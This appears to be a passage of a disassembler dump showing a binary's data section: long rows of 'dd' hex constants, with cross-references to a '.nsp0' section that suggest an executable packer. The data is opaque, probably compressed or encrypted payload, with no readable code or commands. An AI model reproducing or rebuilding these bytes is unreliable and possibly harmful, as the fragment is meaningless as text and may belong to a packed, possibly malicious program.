dd 0F9C6136Bh, 9EEFEB96h, 44C64876h, 6A84C8C8h, 175E99C1h
dd 5E84AE8Ch, 2BE6BA75h, 10A62C55h, 629FD6ABh, 307B9972h
dd 88D33543h, 446D1332h, 9A2293A7h, 1CE8BC62h, 9F436E62h
dd 3E55434h, 192899C5h, 546D7D55h, 0BB7D407h, 0C0F509EBh
dd 0E29BFFF4h, 0C72C37BCh, 68E94D68h, 632F31C1h, 9FEDB8F4h
dd 533522F1h, 3E2106Ah, 1672ECBEh, 0CD45F9F5h, 370EB257h
dd 0AE394145h, 3EF93D6Ch, 0CD05F79Bh, 877061F4h, 0A8F0488Bh
dd 0ADCAA667h, 7CC19AF0h, 54064C1Dh, 4B7FE623h, 0AE42B4D3h
dd 0EA1C47D3h, 6FE90B4Fh, 3196B2DAh, 243E7511h, 9C1BC549h
dd 0C41CD04Eh, 6BA1D9Eh, 47AB988Ch, 86C5D297h, 0F942DBEBh
dd 37DE7DFDh, 0CEE2695Bh, 8AE84D4Fh, 0B6EF357Fh, 0DEB5C430h
dd 995E8EA6h, 0BF0DA9A4h, 0B6675D11h, 7FC09Dh, 0A5FB8000h
dd 5A936F4Dh, 1ABB2D0h, 21299A45h, 0C5FFAEBAh, 0E3D04E5Eh
dd 88817AC2h, 58F26BE4h, 0F9DB655Ch, 8B711077h, 0E6807870h
dd 0D55BF85Eh, 21B77ECEh, 0E6D406EFh, 12C8A2C0h, 0CFD27066h
dd 1CF481B1h, 90A7E747h, 0C2DA6F2Bh, 7895C27Eh, 0A7EBCDE8h
dd 63CD6921h, 0A3AF14EBh, 16FC34C2h, 7A84D38Ch, 7C1E645h
dd 0FB01824h, 0DA559262h, 803C0337h, 733ADEE7h, 0F3DA58A5h
dd 6F6A79ACh, 13E63772h, 9F7AC63h, 7627BEC0h, 6570062Eh
dd 160AF401h, 43555099h, 6F0B2724h, 0CE8EBAB2h, 0EBFB079Bh
dd 0FF531BF5h, 0A0B3DDAh, 7B99361Ah, 0E29C98CAh, 507765EBh
dd 82F8DB02h, 30B8499h, 0B47472F5h, 280826A5h, 23D2B449h
dd 0A1E9BEBDh, 0FFCF6090h, 7AF17E05h, 0DB63DD0Eh, 0B581F11h
dd 6D8EDEC4h, 648EFE3h, 0B787F612h, 0DA39F328h, 2807306Eh
dd 773A9DB9h, 83259D66h, 68939F58h, 1A24E136h, 6A1993F3h
dd 8D44F8BFh, 28296BBh, 765B68D1h, 0DB9C85E1h, 0B85047DBh
dd 833BA83Dh, 0CD9CF3B6h, 0BFEA1187h, 268270CDh, 0C68E0E60h
dd 473FBB86h, 0B2F7A1E0h, 38BE12C4h, 612FD60Ah, 0BE8A3023h
dd 0FD9CA6D6h, 92F533D0h, 0D9B8A514h, 0BF7F4988h, 0DEFC0D73h
dd 317EC6C3h, 98871B4Dh, 0CE246B72h, 0A0758F8Ah, 4898E155h
dd 0C6C4CFA3h, 0B053CDE0h, 3CE254D7h, 0D89BAF81h, 710935CDh
dd 0ED2AD117h, 0D4E5DC9Dh, 0EAF5C92h, 0DBDC7A67h, 0AEDED1C7h
dd 5EADE922h, 9B6D1D54h, 3902EA81h, 7A94526Eh, 0F3CDF943h
dd 0D1C0512Bh, 9127FE0h, 0BF4E30A1h, 7C8CB3CAh, 6DCDA138h
dd 0E4062D5h, 7DF54ACBh, 6423F8A0h, 4267FADEh, 2B7E0AAEh
dd 5541E214h, 3FBD9AB1h, 0A40D1640h, 128ED0F4h, 0B017F319h
dd 0A811C58Dh, 0D24EEFCDh, 29BD2127h, 85DFA282h, 6ACF0799h
dd 0EF108D66h, 9A0FE382h, 0AE2253Bh, 15E52B8Ch, 65BCBB0Eh
dd 811BC359h, 0A8CAE62Ch, 0EC3E1538h, 0AE28A9C8h, 21189E00h
dd 32446C45h, 0C953360Dh, 0B0D2F51Ch, 3F33D55Dh, 0FEEC6A28h
dd 0A0F009EEh, 7C7BAF0h, 0BB69C2AAh, 6388DC72h, 71AD33Ah
dd 39E6E307h, 2AABC5E0h, 0F586D8AAh, 0B7C5C840h, 0AE6AE4B9h
dd 5DA039B1h, 6FDA0B0Ch, 0BBBED7AAh, 9B1A2EF7h, 2DEF67F5h
dd 5D05DE1Ch, 611B463Eh, 682E6655h, 7F2C0242h, 99CE27ABh
dd 70715231h, 15A6CA0Bh, 0F4A5FBCCh, 3E42C1AFh, 0CF1C25D7h
dd 8B5C6B24h, 20653928h, 7189CF9Eh, 80FABD3h, 0C4BF2C2Dh
dd 0D7D0E51Dh, 8813342Fh, 0FB30B1E1h, 0B76A8872h, 816F25BBh
dd 0BE51C313h, 528B97F8h, 89B113EBh, 848B9350h, 783F49D1h
dd 0C980F8DDh, 8F042D09h, 4CE8A5h, 0C2B9F444h, 0F5975D6Fh
dd 5173907Fh, 0DECC077Ch, 4F5E370Bh, 0D5F9ADEEh, 6A08EC6Fh
dd 872BE4E9h, 3A8D2195h, 21E4552Bh, 0F66BACB0h, 7663E02h
dd 0D445DC38h, 6B83662Fh, 8E78B05Dh, 60B80BBAh, 0BE80021Ch
dd 0FC10667Dh, 0A911B04Ah, 5BC07DC5h, 24531309h, 0A47E9A04h
dd 0A2593AD4h, 8A65B4A7h, 0CB30EC54h, 98238DDBh, 0FF140FD6h
dd 0C055546Ah, 505C1464h, 8D193567h, 199EAEB4h, 7606EFB2h
dd 0EFC5A353h, 0EF851DF0h, 75FDDC3Eh, 3F5EB00Fh, 0B0D6D99Dh
dd 6AF64966h, 587497AEh, 763D2845h, 68437993h, 84EFFAD2h
dd 356441BCh, 40289DC5h, 0F3FBAD68h, 2A9F7700h, 57CF037Ah
dd 0F9016580h, 0F1EE873Dh, 0D2540F2Eh, 0DE16A8FBh, 0B6DD87F2h
dd 8713BBB0h, 8A31C4B9h, 7964CDB7h, 0FF1EBDC3h, 0A5E7D23Eh
dd 0C04A77CEh, 0CE236D06h, 1A64D801h, 9B14D4B6h, 540D217Ch
dd 0FECD5C0Bh, 24A22307h, 14C5754Eh, 0D8E93B06h, 0F6CAB5D3h
dd 0A7E97688h, 0F05BA82Dh
dd 8A5980BFh, 490624F6h, 9FA5EB03h, 202E6F3Fh, 5E39BCFEh
dd 0F99CF5B8h, 0A0EDB4A2h, 0D12B41B8h, 0E3FCA0ADh, 10A469Ah
dd 2D47152Bh, 0ED566950h, 3D49E251h, 37EAA0ADh, 88C1E687h
dd 673B26A8h, 32727847h, 0AA1122D0h, 0B0C0A23Dh, 540748F4h
dd 5EB9B779h, 7A3E19D9h, 0F6ABD9FEh, 6B3DC5B0h, 917564Ch
dd 538481D8h, 647EF3A2h, 0CA364A75h, 0C36C4334h, 0CB5DF822h
dd 92808994h, 0B8AD302h, 0EB556ABEh, 674AC31Dh, 0BF719474h
dd 0FEA21AF0h, 3B76FCFAh, 0AD769327h, 0E7ECCF44h, 9D497564h
dd 0A696659Fh, 98FC0F6Ch, 2C19A83h, 524034CBh, 76AB1876h
dd 7DDA6FB8h, 8AECD321h, 7E4D67C8h, 3FC9BF6Bh, 9D353D45h
dd 0BB73B09Ch, 0C317119Fh, 1F21B7D6h, 37621778h, 0A5B4B78Fh
dd 261A6C98h, 3B2EE695h, 24D45D30h, 0E1C4C12Eh, 5A28C414h
dd 9E02F198h, 0FF2740F9h, 2BFE2B91h, 9A22568Ch, 0A83A339h
dd 0FECC37Fh, 61DCF315h, 0F4D51E73h, 0D7201DAEh, 788EB626h
dd 821AF875h, 6EB548Fh, 5090F387h, 2A14C347h, 0C1AFAE8h
dd 41BA8895h, 0F26554Fh, 5A576BCAh, 0BEE146Dh, 1DF2E835h
dd 4025152Ch, 392A9609h, 1E67638Ch, 97C48C8Dh, 69AC93A6h
dd 0D8D4691Ah, 493BA0DAh, 940F6B80h, 0E9B2F8E2h, 79D651EDh
dd 0C777B1A9h, 0E0009F98h, 0FC26E51Fh, 0E772ABD7h, 6828EEC1h
dd 94B9E29h, 0F31765F3h, 37859060h, 54861EC5h, 9BEEBBFDh
dd 1AB317A2h, 0BCA76574h, 0FD99AC7Fh, 0E48925C9h, 1CE2347Dh
dd 1D87FF29h, 0D376181Ah, 3732F707h, 13A04215h, 4BC5F5A5h
dd 5DD61B4h, 1D35A1Ch, 0C14DE001h, 89E6EDB4h, 34ABD9E9h
dd 0E62EF53Bh, 0C5A800BFh, 9B1C2475h, 0EC914116h, 0B828EFBEh
dd 0F0989985h, 0F2497FA2h, 0E7E500B5h, 731AECA7h, 0AB3EDB39h
dd 74C073C8h, 0B0420D58h, 0ADAEDA70h, 9545CD8Bh, 5FF7BAEEh
dd 20FF27B3h, 844D9E2Ch, 0A1E180C8h, 3C4966EAh, 4484BD12h
dd 89CDC15Eh, 0AC312DDBh, 10385E99h, 2ECA7B3Bh, 788BF248h
dd 8F7EB6Eh, 2FC2CFADh, 2F1D099h, 69B75308h, 0B3AAF1ADh
dd 6265D4AFh, 52DB932h, 0AAA3ACA2h, 0F837075Bh, 7EB52866h
dd 47E0D2DBh, 25AEBAA3h, 27454E72h, 9FAD4650h, 11F54B01h
dd 0BB1BCD0Dh, 0ECCBBCCEh, 731D294Eh, 8D75132Fh, 4E1DB37h
dd 0C4F131FAh, 0DCA6D58Ch, 9DBBAEDAh, 0EA10F4FAh, 9B9E8AA3h
dd 51988F68h, 968A75E1h, 0D8723A7Ah, 0CCD7A26Dh, 0F51D6615h
dd 0BE7CFB23h, 990831B4h, 73A2CB67h, 39FBFA14h, 0BD1499F3h
dd 0F417350Dh, 0F04FA375h, 0D2711B12h, 0FF74D112h, 6D7CF138h
dd 80D67B15h, 1B73F240h, 1AF96F6Fh, 22A0589Eh, 6307B0D5h
dd 60AA0729h, 0B0C9D375h, 323B5AF5h, 26E08CBFh, 0F89882C8h
dd 7174DCD0h, 3447FC83h, 0A085F6FCh, 649886A6h, 0D7A20775h
dd 0A1DAB49h, 54CBCAB9h, 0F9CD860Bh, 2C8E9802h, 462B255Ch
dd 4D7A0E4Fh, 71C90499h, 9DA1ED8Ch, 0AB1E3157h, 8701E931h
dd 0F612159Bh, 0BD006CB1h, 56851754h, 916D539h, 3E441BE5h
dd 0FD92A48Dh, 0D06D0B1h, 9F930B9Fh, 9E8F9E27h, 0F0586EAFh
dd 2D71EDCCh, 3707253Ch, 0B86F1A37h, 4DC64965h, 0B6E570D7h
dd 301A070Fh, 0B63FF2E9h, 0A26840C9h, 0DB7306ADh, 6E3AB2DBh
dd 0DF73D2E4h, 36735BB8h, 7F2DFCE0h, 88268444h, 806B1B4Ah
dd 79CF4DE7h, 0B658B6C4h, 872EC9CAh, 77E8BF8Bh, 0B2E076ACh
dd 0D8383C20h, 0AFC2E5FEh, 40A42E4h, 7536CDDAh, 0E1C633DCh
dd 0B270614Fh, 2AA31267h, 3DD4E05Ch, 0BA30E69Ah, 44767DE0h
dd 4C1FA2C8h, 670A68FEh, 0F57F5BE3h, 0D568F4E4h, 0A4A3F5D1h
dd 0CE4BE768h, 0F4405FADh, 0B323E8D1h, 95FA040Dh, 0DFC10994h
dd 9965E9AEh, 0A156969Bh, 0AA79140h, 881C46F4h, 8CF1FE79h
dd 2DED5726h, 0DB067840h, 926E980Eh, 0AEC87CCAh, 9DBE8925h
dd 11CDCA9Ah, 163E7FE4h, 361C5FD7h, 33E1F596h, 0E8C5017Ch
dd 95796434h, 0D50A6317h, 0ADEE45C3h, 553F82F7h, 29B79461h
dd 90ABBF6Eh, 0D77F5090h, 0FE4E29C5h, 5070ADA0h, 19BD721Bh
dd 7DE81BC9h, 0E0BB49A7h, 9664F12Dh, 0CB4DBE71h, 0ADA86463h
dd 4D389675h, 0B3472C14h, 0B776195Bh, 35F4DB3Eh, 33865E23h
dd 0AFE6A7Eh, 0BB87068Ah, 15667847h, 474E6422h, 8EA31814h
dd 9B311FD9h, 0E38A895Ch, 0C6BC2B89h, 92D86B28h, 6684FE7h
dd 26553C2Ch, 0BFB0087Ch, 0F5BDA5Ah, 43AE04Dh, 39767C4h
dd 5749FF73h, 0A96A9BB8h, 0D9ED56E6h, 0BCD2DBB0h, 436FFFFAh
dd 8399DB90h, 783BBC84h, 0ACEC2DB1h, 178D3D0Ch, 0CC4C76CDh
dd 6883D584h, 2E23491h, 660E5627h, 0BC46D17h, 6DE91A70h
dd 65BA5F33h, 0F8C59B32h, 2BD11669h, 0DBA12837h, 57869A03h
dd 762E5CE4h, 81829F47h, 45DF647Ch, 0CDEF114Ah, 241B49BFh
dd 0DE41230Ch, 0B9296E65h, 4E32ABB5h, 1AB7F7B1h, 40FBDBC2h
dd 76516CE2h, 5C039CB1h, 0AC31EA37h, 2E102015h, 0DB5CA478h
dd 1A88DAE7h, 0DC7AC53Bh, 750D74F0h, 0F31EA3Dh, 463E044Fh
dd 348D48E7h, 0DF4A47CDh, 7E376AB6h, 0C89D5AC3h, 839C51CCh
dd 3A419AD3h, 35BCDD8Fh, 13D50A3Eh, 1341ED20h, 44E0F66Ah
dd 61CC6A70h, 176245D4h, 4DA660Dh, 424E4C0Ch, 7734403Ah
dd 4F79B13Eh, 998EB379h, 9DDA2538h, 0AA12F56Ch, 410C66DAh
dd 946C1848h, 38993D32h, 5BA45F08h, 0C9A6E201h, 5DFAB2EEh
dd 21381927h, 5232ACE1h, 0BA29639Ah, 49B3302Eh, 0D0F92A4Ah
dd 45A25489h, 0F578C7AFh, 0AD10A98h, 91F362E2h, 2AD94A86h
dd 11FB54F2h, 1BAE70B5h, 9E2EF788h, 3AAAE153h, 4C5BA17Bh
dd 2803CDCEh, 7ED16D5Dh, 64FC9D92h, 445587AEh, 97B4ACA7h
dd 4A3C88FAh, 352758CDh, 86C048DAh, 4A8F7FC7h, 3C50EC7Ch
dd 0E3B3BDE3h, 742A3D1h, 16E4B63Dh, 4975880Fh, 0FCF03534h
dd 418B6A0Bh, 841ABFDh, 1A208B77h, 8B288CBDh, 0D00E0364h
dd 0CB0CE89Ch, 700037C1h, 724AE049h, 78027C3Bh, 0EF729C44h
dd 9BEECBEBh, 8E1960D0h, 6870F449h, 427DB3Ah, 5595F8E0h
dd 36925E28h, 1687A7F0h, 0A1ED8F0Fh, 0DE9E820Fh, 2DE02013h
dd 498F0D04h, 0DB1352F4h, 48B5E7F6h, 0D6842C5Eh, 32D32C87h
dd 0CA661198h, 758DF571h, 0D0DEFBCDh, 5F0FC28Ah, 60048975h
dd 21D55826h, 3612C81Eh, 280D88CBh, 0B1CEC513h, 3EE1C51h
dd 8A5D976h, 990D460Fh, 67CB5882h, 52DF3C15h, 0A0EB03F8h
dd 0E6DD5635h, 0C25AD76Fh, 2DACE427h, 0D1DB50Fh, 55D9153Bh
dd 1E957AAFh, 4F87DF4Ch, 966FEF56h, 0C0B5D983h, 0F739CBDDh
dd 99641231h, 328ACD9Eh, 6B5DF1BFh, 60A4A231h, 95BA73F8h
dd 0EC9588EDh, 6F3329E0h, 711BC092h, 67CEABA6h, 79759EDCh
dd 0CAAD964Bh, 0D66632B4h, 19C0B971h, 486F218Ah, 2C086CCFh
dd 0B452E1D2h, 0C446340Fh, 305EEDF5h, 1A731B0Ah, 0DEC0D8EAh
dd 3148A151h, 0ED4CAD14h, 96866F2Ah, 559A24FEh, 287AB1FCh
dd 0AFF11F65h, 255AC86Fh, 76AD14FBh, 3D998755h, 2690F314h
dd 592C8313h, 30F62F64h, 3D504C12h, 26127EAEh, 7392FAAEh
dd 4A6373ABh, 85849381h, 0CBB8B486h, 81BC5305h, 64E956F0h
dd 48B307h, 0A91BA2F1h, 0D01412E9h, 0D3CD705Ah, 43E6C5D2h
dd 773B9F41h, 48F3B6CBh, 0E451D497h, 0A3EF1448h, 2E8937E0h
dd 15516136h, 107887Ah, 64F70B44h, 0BAEE55Ah, 0EEF88034h
dd 0E689811Eh, 556E0E6Eh, 795DC26Ch, 0C0D3E023h, 0ACAFA9Ah
dd 8E8DEA16h, 0EEF9F438h
dd 504B6171h, 87B68B7h, 0DB3A16A5h, 7B8372Bh, 0CE77A2E1h
dd 0E4872454h, 7AC8C3C1h, 0F5B7BBE3h, 0CDF6616Bh, 13E539BDh
dd 0D29DB2BCh, 1DBCA198h, 7E897AA4h, 0D509A69Bh, 0CD5376CFh
dd 0CA90EF8Bh, 0A1B5BDBEh, 4771C8A0h, 8BD89B0Dh, 24B1E251h
dd 339DD1D1h, 0C141C05Eh, 0B285D4B2h, 91720681h, 6F6F4F3Bh
dd 6F5C0FF5h, 82D2CACAh, 5A3BC36Ah, 0C7323EC8h, 0E75F99D6h
dd 0F1647415h, 0A37F015Fh, 3D203664h, 6B52ADE3h, 0C14807BDh
dd 36413D59h, 0CDBA6F2Bh, 0AD157A0Ch, 1A16F6F4h, 8FE8DFh
dd 6A54D6E1h, 228ADED5h, 898AE957h, 62BD4A86h, 0D3BE572Bh
dd 8C986342h, 48EA1A02h, 72735255h, 95D67AEFh, 917D4B07h
dd 0A47DBF94h, 9C0566CBh, 47800BFFh, 36EC47AFh, 0F148600Eh
dd 7B162F57h, 0EE7EDEE8h, 0F8E2A054h, 64EED89Fh, 0C6BE0787h
dd 1A9E4C0Bh, 1DBA6461h, 0C015CB69h, 0F3E2035h, 4DA00845h
dd 0A944D962h, 1BC05CBh, 0E09090BDh, 57F47F7Ch, 5AF6F43Ah
dd 36CC34BCh, 62D0EF5Dh, 84C7B6EAh, 5CA1E46h, 216CAE65h
dd 9711FF58h, 4255DB69h, 5EFA090Ch, 0EE67E7Dh, 5531D04Dh
dd 97187245h, 77EF59A2h, 4F529127h, 2CCD234Bh, 0BBA682E4h
dd 0E43088E8h, 9CCF44D9h, 45812753h, 2ACD4D23h, 0BE60A9D5h
dd 5277382Fh, 0C76E5863h, 37444089h, 7F69FEAAh, 0DFBC3F07h
dd 171BC0C3h, 253A2619h, 7BBE77C6h, 90FCE195h, 0F918C74Ah
dd 0C445DDCBh, 43619EC8h, 0F504E03Fh, 0B654EC3h, 0CA933C18h
dd 8E048662h, 0B1CE7922h, 0F0E53F5Ch, 48C2EAEEh, 8380321Dh
dd 0E52AE89Ch, 450892DCh, 1BA1B4E6h, 6499CEAEh, 52B75E63h
dd 28D8A997h, 60F53CDh, 0AFC02364h, 2AE2466Dh, 0C8CAFABBh
dd 24324869h, 402EC2h, 1E2A3045h, 0CBF8DF85h, 0BD865F65h
dd 0CD2763CDh, 1F9028C8h, 4BA1076Ch, 0CEEC3D80h, 0F4E66823h
dd 70C6BB1Fh, 0F0B0CB3Dh, 0F8E1953Eh, 0E816B290h, 73BB3FA3h
dd 0B55C36E9h, 0A2601590h, 0C3941E33h, 6B8ABF78h, 77A9C854h
dd 0B660C026h, 0E18A08BDh, 20807311h, 0D80EB9A9h, 1A1CAFE0h
dd 0B64A5D3Bh, 0EC4300D8h, 0CAE999B4h, 2E81B08Bh, 3EBDF15Eh
dd 79C4D9C3h, 60E99231h, 0CBCD3C50h, 0D6402D86h, 5DBB52E8h
dd 0A3ED3347h, 3DB765A5h, 0CC727E2Ch, 575CC492h, 5F6363B3h
dd 4DA15787h, 0AA59A02Bh, 89AD54EBh, 0FBE14777h, 3FA4B89Bh
dd 6F48BE66h, 0A3A30608h, 521B2B36h, 15495749h, 0C6264E02h
dd 97FA4250h, 45318BE5h, 1DF59AF6h, 35033EC3h, 0B9F3E5FDh
dd 83A9CC67h, 0AE2D914Dh, 0CE0A746Dh, 446302D0h, 4C791856h
dd 6FD13EFAh, 187B0B3Dh, 0F2AB4442h, 4F735B46h, 70CBC995h
dd 1F66E92Ch, 0AC9B5497h, 726C6A24h, 6D0119CEh, 2F0B483Bh
dd 0D1423BA6h, 0FEBA1FFAh, 32645101h, 0EE19306Fh, 0B8E19B5Ah
dd 897BCA0h, 0B0311F94h, 0CBDF0E09h, 5FC53BC3h, 0EF4B23ABh
dd 41018E8Bh, 7FA2A982h, 37145FC1h, 296E8A2Fh, 0DD7220Ah
dd 24B5BF4Ah, 3F5A1ED2h, 333F0F18h, 0B31A6C32h, 233D80BEh
dd 0D0D124D0h, 0DAE8E715h, 8E3C941Fh, 21128698h, 95CFB81h
dd 40D29E16h, 3506A08Ch, 507DCF87h, 34787048h, 947AF5Eh
dd 337E4CFFh, 422D49BFh, 8CED3769h, 594CAACAh, 595C30E9h
dd 32CD82C5h, 0A6F74A3Ch
dword_490054 dd 0C76D37A1h, 0C7659E55h, 2CED7B5h, 76D6F06Fh, 6F035716h
; DATA XREF: .nsp0:00419BE1o
; .nsp0:0041A411o
dd 80FC912Fh, 0D51F51CAh, 5968FE92h, 64F39790h, 1ADBA555h
dd 0A3C467EBh, 260A0009h, 27151468h, 20868177h, 0F25B1699h
dd 4C3249DEh, 401B1A46h, 650DCD79h, 0E2B186DCh, 9DAFFC0Fh
dd 88C10F35h, 90604981h, 0EFC2A166h, 0D6F29CA2h, 0D409EB4Eh
dd 0BAD5A8C1h, 7DB53564h, 1EE85732h, 0D24422C6h, 966D4EF1h
dd 374E3BFDh, 2F96131h, 83A947E1h, 74E4FCFEh, 0DFB68671h
dd 0DE1F9E9Ch, 97041112h, 389E0FDAh, 0EFE60C6Ch, 0E0347DF4h
dd 0EA762F68h, 0FCB948AEh, 0C209685h, 2BA540ABh, 52FAE29Dh
dd 42EAE397h, 0E0593565h, 0A7AF2D79h, 0C9B4E6C7h, 32707154h
dd 9222EAD5h, 73864C10h, 6C375508h, 0B23637F7h, 0D8B28912h
dd 0B19E06D0h, 0DBA2C9B0h, 8CB40A2Fh, 8AFC39A9h, 624004E5h
dd 80D63AC8h, 4174A262h, 83225393h, 0FD869F26h, 0F3CCEFE2h
dd 0B18ED9C8h, 90BD4DFBh, 0D6070CFBh, 0DF6A95FEh, 0D88A7344h
dd 0D1F79B24h, 509F5AD3h, 0C4D01F6Fh, 58C778CAh, 704DF983h
dd 60E6A8FDh, 34AB054Eh, 2F3D2021h, 5D5A45A6h, 0F58428B5h
dd 55B44926h, 0AB7E0F38h, 36C64988h, 0B3B9B7Ch, 0A8823A6Eh
dd 92BEF386h, 49DB9615h, 0EF650668h, 9C97CA04h, 0E13FD27Ch
dd 3AEB2693h, 0E677B757h, 0D0A5F22Bh, 0ED713347h, 0C7E907C3h
dd 6AAF8DCDh, 45E3C369h, 7D9C883Bh, 18BCE2CAh, 8698F80h
dd 0DA706CEBh, 9FC123E3h, 4526BA6Dh, 5C9AC55Fh, 7C8CC54Fh
dd 6417E448h, 0B6AC419Dh, 8C88885Fh, 0C249608Eh, 0BF275448h
dd 688B0F43h, 0D67773D3h, 65F467ABh, 8CD3DF07h, 76AA97DBh
dd 9C309679h, 0D65C536Dh, 0C8529E8Ah, 1642C75Bh, 0C6D25EC1h
dd 0F8F200B8h, 0C8B3FDD6h, 0A85A92F2h, 0B47D4E21h, 19A69B9Eh
dd 0F10349ACh, 47E15FB7h, 0B6007529h, 2B2010BCh, 5E1EE6A8h
dd 0FDFC9094h, 4AAE0F7Ah, 160E4CEFh, 0CAFF19D4h, 0D6C4A6B7h
dd 1D6A39E4h, 855184F7h, 0F55A0954h, 455152CCh, 423A9F50h
dd 5195AA3Ah, 94DB4E5Fh, 7B003004h, 0D844E6DAh, 72DA7832h
dd 5FF8E737h, 0D20F8A1Ah, 6E10EDB1h, 41E8BA0Ch, 5363F9D2h
dd 0BF5EDC54h, 0E87BB268h, 0DCECAE08h, 0C850D663h, 4E1FD0BAh
dd 0EABA5EF3h, 5D2FC146h, 5A9D16D5h, 5EC176CDh, 0BF923CAh
dd 0C2F0EC9h, 0C85AD7F2h, 0BD386AC5h, 4F4A4419h, 0A1F0A121h
dd 0B3075FD0h, 644AF813h, 239B6796h, 0B68FEDC0h, 13839D55h
dd 0EFBAD756h, 0E35132BEh, 2E9B4B58h, 70604C16h, 24FC6469h
dd 4C361B1Ch, 0F018571h, 67366577h, 2D5318C4h, 5CD1FDDFh
dd 0E46A9D39h, 1D5520F4h, 0CB3BE12Fh, 0C407FDF5h, 7F779FF4h
dd 75261A6Dh, 509E41E5h, 125004FDh, 4B0ACBAEh, 83BADEB2h
dd 131D6581h, 3E0DA30Ah, 0F99D81C1h, 0B17B430Dh, 57338DE4h
dd 4C8F532h, 0F228BAB9h, 547BDE2Dh, 355B0C9h, 1A9582EBh
dd 8C36BECDh, 22AA0D4Ah, 2FECE109h, 86A659B8h, 9671FAC9h
dd 0DBEAC3ECh, 361C7402h, 0E6278E87h, 387FD1FAh, 21A57DEFh
dd 715B70A0h, 297944B7h, 9F2C2C76h, 60A33F0Ch, 59087366h
dd 6D75FEE8h, 83C10341h, 63FB0396h, 0FC917EACh, 2900E511h
dd 8F1F2323h, 0FD5EAECh, 0F0E773CAh, 0F00F43F4h, 2E1CE4D1h
dd 38797EB6h, 6B3EA919h, 4EC8440Bh, 0B284FD0Ah, 9E155D23h
dd 74986A82h, 0B71F56AFh, 713ECA6Fh, 70D8FFE0h, 0AB9D63D7h
dd 0D64DBDF1h, 827742F5h, 0C2501EC8h, 84F08DD8h, 2A3467B7h
dd 0BB92CB84h, 2778E39Ah, 0E818D08Ah, 0B3BE48AFh, 0BCD702EAh
dd 5C4B142Fh, 630AD258h, 0BD29D9EAh, 34EF9B33h, 0D2173793h
dd 867096F7h, 0B70A33DDh, 91DAD83h, 1DA5E9E9h, 4E1E75B4h
dd 88DFD6F7h, 677E1B29h, 6818859Eh, 62FFB886h, 0E6607B16h
dd 2CDC852Bh, 0D7C463CFh, 0A008CF22h, 784AFAEFh, 8E073E39h
dd 0E152DDE2h, 0DADEFC61h, 0F1D9D4AFh, 0EB07C66Fh, 0AED9F042h
dd 0A50C9731h, 68747C7Dh, 65877D5Ah, 9D663225h, 8E9A4B31h
dd 0D29D9CCFh, 3F6440E7h, 7C394740h, 95898DC2h, 924F7275h
dd 0F49720B5h, 947AB784h, 724A6C95h, 0BB5D0273h, 0A71E5824h
dd 4921B428h, 0DCBB8027h, 921201F5h, 955A3F60h, 9CDDA948h
dd 0EFDE8BF1h, 9F4266D0h, 0C1B24C81h, 0DBC37CDEh, 3AEEA4DBh
dd 0A373C052h, 0C17F2DF8h, 0D16735F3h, 32BA278Dh, 517CB64Ah
dd 1E376DA1h, 6E3D44EAh, 0CDC78B7Ah, 0F64B6F34h, 39F75D03h
dd 0CD81327Bh, 666601CDh, 435AFE28h, 57090BB6h, 4800B83Bh
dd 0F6ED7DCAh, 8DE0D32h, 0A25B1CB0h, 6F2C6287h, 0BCCDE6B5h
dd 248E0E36h, 8626B998h, 0E2299815h, 0D7EC2096h, 6FDE7BFFh
dd 247A8ED3h, 0C1847230h, 6AF06192h, 51469963h, 0D23D3FA4h
dd 0F0A893F1h, 7C6672F3h, 18155735h, 79A582DEh, 61B9CA40h
dd 0EE32DADEh, 72AB47FEh, 0BCF9FBA2h, 9907EC17h, 0EDD182F9h
dd 714CDB7Eh, 58B60E60h, 16A1AAE8h, 0F116216h, 597C9B2Ah
dd 6FE1E82Ch, 6291F904h, 70FA16A6h, 0CEE0A2ADh, 1737A6B2h
dd 8FF52938h, 6595FA9Ch, 0B3A3C953h, 0AD04A575h, 0CC841C40h
dd 2DF82216h, 0CD24F439h, 22FA7E43h, 74583A70h, 0EDAD5D1h
dd 732F2FEh, 0EFC917BEh, 537EDFD2h, 488E8C82h, 94B00688h
dd 591ED9A8h, 49863361h, 0A6C29519h, 0F0E74E14h, 7D5E3CADh
dd 5A5D5474h, 45FF31D9h, 0CCAF3CBBh, 8A53EFFh, 311CCC90h
dd 2A5BCD8Ah, 1A942494h, 0C1C7F687h, 30573755h, 0FA8329E1h
dd 2E22BDC2h, 0C0D2D76Fh, 377A808h, 0FEE9C975h, 5FAD1798h
dd 20466842h, 4EC7318Eh, 0A6C393CAh, 2745D26Dh, 7D3CDE65h
dd 8A5D2171h, 135BAEACh, 85D0C488h, 0B03ACA9Dh, 5A0A0EE7h
dd 0E12F8DBFh, 86352D0Eh, 0E5925DD6h, 0DE43DFD5h, 0E95275A4h
dd 7DE043Bh, 0FDFEE917h, 70374B78h, 648F6E4Eh, 0C22193D0h
dd 0B64599C1h, 97346455h, 1BF10D64h, 25D90770h, 0A817EB15h
dd 0AB2F1FAFh, 447F1E4Ch, 67487F2Bh, 0CCD1441Bh, 831F011Eh
dd 7F05C040h, 0B459203Fh, 0AE4ED680h, 4E909BA3h, 0B379894Eh
dd 17D07EFAh, 46A64EFAh, 0B9B7E098h, 79819180h, 60CF18EDh
dd 6D2A94BAh, 0CA2015B7h, 81C035F7h, 99199FD9h, 0E32CA480h
dd 13D299E5h, 52284BDCh, 11C773A9h, 2C950E8Ah, 0DEA51BD7h
dd 0BDDAB7F8h, 29E1111Bh, 8485BE30h, 6DCC5A9Dh, 0C7C9589Ah
dd 0CC73EC71h, 0DB1D82B2h, 3AFE15B9h, 570E69F6h, 0AF059637h
dd 4F2C462Eh, 0F53A0A7Eh, 885EB54Ah, 240B12E1h, 71DC9E4Dh
dd 93867640h, 0A456D81Ah, 1ED6FB6Ch, 0A383A9E8h, 786B71B9h
dd 19D3B8DBh, 0B21A077Ah, 9DDF33E9h, 978572Ch, 6DD961D2h
dd 588CF30Ch, 98F43BA9h, 416E77A6h, 19702B78h, 235C9295h
dd 0D853EACFh, 25E11AD9h, 598030E9h, 58A5A196h, 0DA991225h
dd 6CFBC88Dh, 5A886E5Dh, 0F189A62Fh, 10119B0Bh, 5F7507DDh
dd 60575342h, 35F67D4Dh, 0A29CBDBh, 66ED32F4h, 4FBB6516h
dd 6963167Dh, 5573D4h, 0E81FA2D4h, 5ED73F1Ch, 5D2301B8h
dd 20542365h, 154D2C33h, 0BF0D07D1h, 9C6D770Ah, 0D14ECA05h
dd 1668F52h, 8A94303Ah, 0EB382A54h, 9FF03338h, 0DFF421A2h
dd 198FF621h, 4DC25751h, 90862C53h, 0F069A9AFh, 5960F02Dh
dd 0AB443FD5h, 2ACEB05Eh, 0CCD36CCCh, 9F1551DCh, 65E2F681h
